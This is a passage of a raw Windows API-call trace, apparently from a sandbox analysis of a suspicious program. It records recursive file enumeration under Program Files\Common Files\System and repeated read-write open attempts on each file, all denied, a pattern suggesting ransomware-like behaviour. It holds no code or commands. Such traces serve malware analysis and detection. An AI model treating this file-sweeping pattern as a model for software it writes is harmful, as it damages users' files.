lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0103.631] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0103.631] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned 49 [0103.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.633] GetLastError () returned 0x5 [0103.633] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0103.633] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\en-US") returned 42 [0103.633] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\en-US\\*.*") returned 46 [0103.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0103.634] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0103.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.634] GetLastError () returned 0x5 [0103.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0103.634] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.635] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0103.635] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc") returned 42 [0103.635] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\*.*") returned 46 [0103.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.640] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.640] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0103.640] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0103.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.642] GetLastError () returned 0x5 [0103.642] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0103.642] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0103.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.642] GetLastError () returned 0x5 [0103.642] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0103.642] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned 48 [0103.642] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*") returned 52 [0103.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.698] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.698] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0103.698] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64 [0103.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.700] GetLastError () returned 0x5 [0103.700] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0103.701] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui") returned 64 [0103.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.701] GetLastError () returned 0x5 [0103.701] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0103.701] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned 64 [0103.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.701] GetLastError () returned 0x5 [0103.701] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0103.701] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned 64 [0103.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.703] GetLastError () returned 0x5 [0103.703] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0103.703] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0103.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.703] GetLastError () returned 0x5 [0103.703] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0103.703] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui") returned 65 [0103.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.704] GetLastError () returned 0x5 [0103.704] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0103.704] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.707] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0103.707] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg") returned 54 [0103.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.709] GetLastError () returned 0x5 [0103.709] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0103.709] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg") returned 55 [0103.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.709] GetLastError () returned 0x5 [0103.709] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0103.709] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned 53 [0103.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.710] GetLastError () returned 0x5 [0103.710] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0103.710] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0103.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.711] GetLastError () returned 0x5 [0103.711] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0103.711] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll") returned 53 [0103.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.712] GetLastError () returned 0x5 [0103.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0103.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll") returned 54 [0103.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.712] GetLastError () returned 0x5 [0103.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0103.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0103.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.712] GetLastError () returned 0x5 [0103.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, 